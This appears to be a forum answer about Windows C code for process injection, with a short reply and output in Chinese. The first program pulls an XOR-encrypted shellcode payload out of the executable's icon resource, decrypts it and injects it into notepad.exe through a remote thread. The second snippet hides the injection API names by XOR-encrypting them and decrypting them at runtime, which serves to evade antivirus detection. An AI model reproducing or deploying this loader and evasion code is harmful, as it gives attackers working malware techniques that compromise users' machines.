程序:
/*
* This program demonstrates shellcode injection into a target process.
*
* Steps:
* - The shellcode (in this example, it could be a payload like launching calc.exe)
* is embedded in the application’s resources (.rsrc section).
* - At runtime, the shellcode is extracted.
* - The decrypted shellcode is injected into a target process (e.g., notepad.exe)
* by allocating memory in the target process, writing the shellcode there,
* and creating a remote thread that executes it.
* - The use of WinMain hides the console window
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <memoryapi.h>
#include <tlhelp32.h>
#include "resources.h" // Ensure FAVICON_ICO is defined appropriately
#pragma comment(lib, "user32.lib")
// Function pointers for API functions resolved at runtime.
typedef LPVOID (__stdcall *VirtualAllocEx_t)( // LPVOID: return type(pointer to the allocated memory),
HANDLE hProcess, // handle to the target process
LPVOID lpAddress, // base address
SIZE_T dwSize, // size of the allocation memory
DWORD flAllocationType, // flags
DWORD flProtect // mem protection constants
);
BOOL (WINAPI * pWriteProcessMemory)( //true or false
HANDLE hProcess, // handle to the target process
LPVOID lpBaseAddress, // address in the remote process where data will be written
LPCVOID lpBuffer, // pointer to the buffer contraining the data
SIZE_T nSize, // number of bytes to write
SIZE_T *lpNumberOfBytesWritten // pointer to a variable that receices the number of bytes actually written
);
HANDLE (WINAPI * pCreateRemoteThread)( // return handle to the newly created remote thread
HANDLE hProcess, // handle to the target process
LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to security attributes
SIZE_T dwStackSize, // initial size of the stack for the new thread
LPTHREAD_START_ROUTINE lpStartAddress, // shellcode that the remote thread will execute
LPVOID lpParameter, // pointer to a variable to pass to the enw thraad
DWORD dwCreationFlags, // flag (0 for immediate execution)
LPDWORD lpThreadId // pointer to a variable that receives the new threads ID
);
// Find the target process (e.g., "notepad.exe") by name (Unicode).
int FindTarget(const wchar_t* procname) {
wprintf(L"Looking for process: %ls\n", procname);
// Create a snapshot of all running processes
HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcSnap == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
int pid = 0;
wprintf(L"Listing all running processes:\n");
// Loop through all processes in the snapshot
do {
// Print the process name and its PID
wprintf(L"Process: %ls (PID: %d)\n", pe32.szExeFile, pe32.th32ProcessID);
// If the process name matches, store its PID.
if (pid == 0 && lstrcmpiW(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
}
} while (Process32NextW(hProcSnap, &pe32));
CloseHandle(hProcSnap);
return pid;
}
// Function to inject the shellcode into a target process.
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) { // handle to the target proc, pointer to shellcode, size of the shellcode
LPVOID pRemoteCode = NULL; // pointer to shellcode
HANDLE hThread = NULL; // stores handle to a newly create remote trhead
// Resolve the API addresses.
VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAllocEx"); // dynamically resolves the address of VirtualAllocEx from kernel32.dll
// this casts the result of getprocaddress to a function pointer with the same signature as VirtualAllocEx
pWriteProcessMemory = (BOOL (WINAPI *)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *))
GetProcAddress(GetModuleHandle(L"kernel32.dll"), "WriteProcessMemory");
pCreateRemoteThread = (HANDLE (WINAPI *)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))
GetProcAddress(GetModuleHandle(L"kernel32.dll"), "CreateRemoteThread");
HMODULE hKernel32 = GetModuleHandle(TEXT("kernel32.dll"));
if (hKernel32 == NULL) {
printf("Failed to get module handle for kernel32.dll\n");
}
if (!pVirtualAllocEx) {
printf("VirtualAllocEx not found. Error: %lu\n", GetLastError());
}
if (!pWriteProcessMemory) {
printf("WriteProcessMemory not found. Error: %lu\n", GetLastError());
}
if (!pCreateRemoteThread) {
printf("CreateRemoteThread not found. Error: %lu\n", GetLastError());
}
// Allocate memory in the target process.
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pRemoteCode) {
printf(" Failed to allocate memory in the target process.\n");
return -1;
}
// Write the shellcode to the allocated memory.
if (!pWriteProcessMemory(hProc, pRemoteCode, payload, payload_len, NULL)) {
MessageBox(NULL, TEXT("Failed to write to target process memory."), TEXT("Error"), MB_OK);
return -1;
}
// Create a remote thread to execute the shellcode.
hThread = pCreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
if (!hThread) {
MessageBox(NULL, TEXT("Failed to create remote thread."), TEXT("Error"), MB_OK);
return -1;
}
// Optionally wait for the thread to execute.
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// hInstance : handle of the current instance of the application
// hPrevInstance : handle to the previous instance of the application
// lpcomdLine : command line for the application
// Allocate and attach a console so printf output is visible.
AllocConsole();
freopen("CONOUT$", "w", stdout); //console output
void * exec_mem; // pointer to variable that old memory address
HGLOBAL resHandle = NULL; // handle to a global memory object
HRSRC res; //resources handles(icons, strings...)
unsigned char *payload; // pointer to an array of unsigned bytes
unsigned int payload_len; // variable store len of the payload
int pid = 0; // variable store process id
HANDLE hProc = NULL; // store a handle to a process
printf("Press Enter to start resource extraction...\n");
getchar();
// winapi functions that load the shellcode payload from the resource inside the executable.
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA); // null, convert an integer resource id(favicon_ico), RT_RCDATA: resource is raw binary data
if (!res) {
MessageBox(NULL, L"Resource not found!", L"Error", MB_OK);
return -1;
}
// loads a specified resource into memory
resHandle = LoadResource(NULL, res); // null: rsrc loaded from the current exe, res: handle to the resource found using FindResource
if (!resHandle) {
MessageBox(NULL, L"Failed to load resource.", L"Error", MB_OK);
return -1;
}
// extract the content of resource and store in pointer payload
payload = (unsigned char *) LockResource(resHandle); // cast the returned pointer to an (unsiged char *) to treating the rsrc data as raw binary, LockResource retrieves a pointer to the actual raw data of a previously loaded resource, resHandle: handle to the resource from loadresource
//determine size of the resource data
payload_len = SizeofResource(NULL, res); // SizeofResource: retrieves size in bytes of a resource, NULL: resource retrieve from the current executable, res: handle to the resource obtained from findresource
if (!payload || payload_len == 0) {
MessageBox(NULL, L"Failed to lock resource or resource size is zero.", L"Error", MB_OK);
return -1;
}
printf("Resource loaded successfully.\n");
printf("Payload address: 0x%p, Length: %u bytes\n", payload, payload_len);
printf("Press Enter to allocate memory and copy payload...\n");
getchar();
// Allocate memory for the payload.
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!exec_mem) {
MessageBox(NULL, TEXT("Local memory allocation failed."), TEXT("Error"), MB_OK);
return -1;
}
printf("Allocated executable memory at: 0x%p\n", exec_mem);
// copies memory from one location to another
RtlMoveMemory(exec_mem, payload, payload_len); // exec_mem: buffer previously allocated, payload: source buffer containing raw binary data, payload_len: number of bytes to copy
// decrypt
XOR((char *) exec_mem, payload_len, key, sizeof(key));
printf("Payload copied and decrypted.\n");
printf("Press Enter to attempt injection...\n");
getchar();
// Find the target process ("notepad.exe")
pid = FindTarget(L"Notepad.exe"); // searches for a process name and returns its PID
if (!pid) {
MessageBox(NULL, TEXT("Target process (notepad.exe) not found. Please run it and try again."), TEXT("Error"), MB_OK);
return -1;
}
printf("Found notepad.exe with PID = %d\n", pid);
// Open a handle to a running process
hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | // PCT: allows creating thread into target process, PQI: allows retrieve info about process
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, // PVO: allows modifying the mem of the proc, PVR: allow reading memory from the process, PVW: allows writing memory to the process
FALSE, (DWORD)pid); // false: handle inheritance is disabled, pid obtained earlier using findtarget
if (!hProc) {
MessageBox(NULL, TEXT("Failed to open target process."), TEXT("Error"), MB_OK);
return -1;
}
printf("Opened target process handle: 0x%p\n", hProc);
getchar();
// Inject the shellcode.
if (Inject(hProc, (unsigned char *) exec_mem, payload_len) == 0) { //hproc: handle to the target process previously opened with openprocess, a pointer to the shellcode stored in executable memory
printf("Injection succeeded.\n");
} else {
printf("Injection failed.\n");
}
CloseHandle(hProc);
printf("Press Enter to exit...\n");
getchar();
return 0;
}
必须有您没有告诉我们的事情。这是您在所有无关零件中删除的代码,并且在我的计算机上正常工作:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "user32.lib")
// Function pointers for API functions resolved at runtime.
typedef LPVOID(__stdcall* VirtualAllocEx_t)( // LPVOID: return type(pointer to the allocated memory),
HANDLE hProcess, // handle to the target process
LPVOID lpAddress, // base address
SIZE_T dwSize, // size of the allocation memory
DWORD flAllocationType, // flags
DWORD flProtect // mem protection constants
);
BOOL(WINAPI* pWriteProcessMemory)( //true or false
HANDLE hProcess, // handle to the target process
LPVOID lpBaseAddress, // address in the remote process where data will be written
LPCVOID lpBuffer, // pointer to the buffer contraining the data
SIZE_T nSize, // number of bytes to write
SIZE_T* lpNumberOfBytesWritten // pointer to a variable that receices the number of bytes actually written
);
HANDLE(WINAPI* pCreateRemoteThread)( // return handle to the newly created remote thread
HANDLE hProcess, // handle to the target process
LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to security attributes
SIZE_T dwStackSize, // initial size of the stack for the new thread
LPTHREAD_START_ROUTINE lpStartAddress, // shellcode that the remote thread will execute
LPVOID lpParameter, // pointer to a variable to pass to the enw thraad
DWORD dwCreationFlags, // flag (0 for immediate execution)
LPDWORD lpThreadId // pointer to a variable that receives the new threads ID
);
// Define the XOR key (note: sizeof(key) includes the null terminator, so effective length is one less).
char key[] = "mysecretkeee";
// Revised XOR function using modulo arithmetic so that the full key (minus the null) is used.
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
size_t effective_key_len = key_len - 1; // exclude null terminator
for (size_t i = 0; i < data_len; i++) {
data[i] ^= key[i % effective_key_len];
}
}
// Function to inject the shellcode into a target process.
int main()
{
// Encrypted API function names.
unsigned char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1, 0x00 };
unsigned char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb, 0x00 };
unsigned char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16, 0x00 };
// Decrypt function names.
XOR((char*)sVirtualAllocEx, sizeof(sVirtualAllocEx) - 1, key, sizeof(key));
XOR((char*)sWriteProcessMemory, sizeof(sWriteProcessMemory) - 1, key, sizeof(key));
XOR((char*)sCreateRemoteThread, sizeof(sCreateRemoteThread) - 1, key, sizeof(key));
// Print the decrypted names for debugging:
printf("Decrypted VirtualAllocEx: %s\n", sVirtualAllocEx);
printf("Decrypted WriteProcessMemory: %s\n", sWriteProcessMemory);
printf("Decrypted CreateRemoteThread: %s\n", sCreateRemoteThread);
// Resolve the API addresses.
VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)GetProcAddress(GetModuleHandle(L"kernel32.dll"), (LPCSTR)sVirtualAllocEx); // dynamically resolves the address of VirtualAllocEx from kernel32.dll
// this casts the result of getprocaddress to a function pointer with the same signature as VirtualAllocEx
pWriteProcessMemory = (BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*))
GetProcAddress(GetModuleHandle(L"kernel32.dll"), (LPCSTR)sWriteProcessMemory);
pCreateRemoteThread = (HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))
GetProcAddress(GetModuleHandle(L"kernel32.dll"), (LPCSTR)sCreateRemoteThread);
printf("Address of %s = %p\n", sVirtualAllocEx, pVirtualAllocEx);
printf("Address of %s = %p\n", sWriteProcessMemory, pWriteProcessMemory);
printf("Address of %s = %p\n", sCreateRemoteThread, pCreateRemoteThread);
return 0;
}
输出
Decrypted VirtualAllocEx: VirtualAllocEx
Decrypted WriteProcessMemory: WriteProcessMemory
Decrypted CreateRemoteThread: CreateRemoteThread
Address of VirtualAllocEx = 00007FF9E88DE130
Address of WriteProcessMemory = 00007FF9E88DE390
Address of CreateRemoteThread = 00007FF9E88DC230